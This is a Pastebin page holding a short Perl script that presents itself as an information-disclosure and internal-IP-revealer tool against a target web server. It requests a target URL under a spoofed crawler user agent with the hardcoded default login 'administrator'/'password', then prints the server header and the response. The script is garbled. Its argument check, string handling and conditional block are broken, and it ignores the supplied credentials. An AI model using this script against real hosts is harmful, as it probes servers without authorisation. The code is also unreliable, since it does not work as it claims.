Advertisement
Guest User

Untitled

a guest
Aug 8th, 2017
56
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 0.95 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use LWP::UserAgent;
  4. use HTTP::Response;
  5.  
  6. if ($#ARGV != 4) {
  7.         print "Usage: $0 <Target Host> <File> <UserName> <Password>\n";
  8.     print "Server Version & Internal Ip SHould Be Leaked\n";
  9.         exit(1);
  10. }
  11.  
  12.  
  13. my $host = $ARGV[0];
  14. my $file= $ARGV[1];
  15. my $username=$ARGV[2];
  16. my $password=$ARGV[3];
  17.  
  18. print "Starting d0m14n's Apache 5.0.0-6.0.26 Information Disclosure And Internal IP Revealer\n";
  19. my $browser = LWP::UserAgent->new;
  20. $browser->agent('g00gl3b0t/6/6/6');
  21.  
  22. $browser->credentials(
  23.   '$ARGV[0]:80',
  24.   '$argv[1]',
  25.   'administrator' => 'password'
  26.   );
  27. print  $string "\n";
  28.  
  29. my $response = $browser->get('$ARGV[0].ARGV[1]');
  30.  
  31. if ($response->is_success) {
  32.         print $response->decoded_content;
  33.  
  34.    if ($response=='HASH(0x8a73248)')
  35.  
  36.  
  37.     }
  38.     else {
  39.         print STDERR $response->status_line, "\n";
  40.         print $response->header("Server"), "\n";
  41.         print  $string "\n";
  42.     }
  43.  
  44. print $response;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement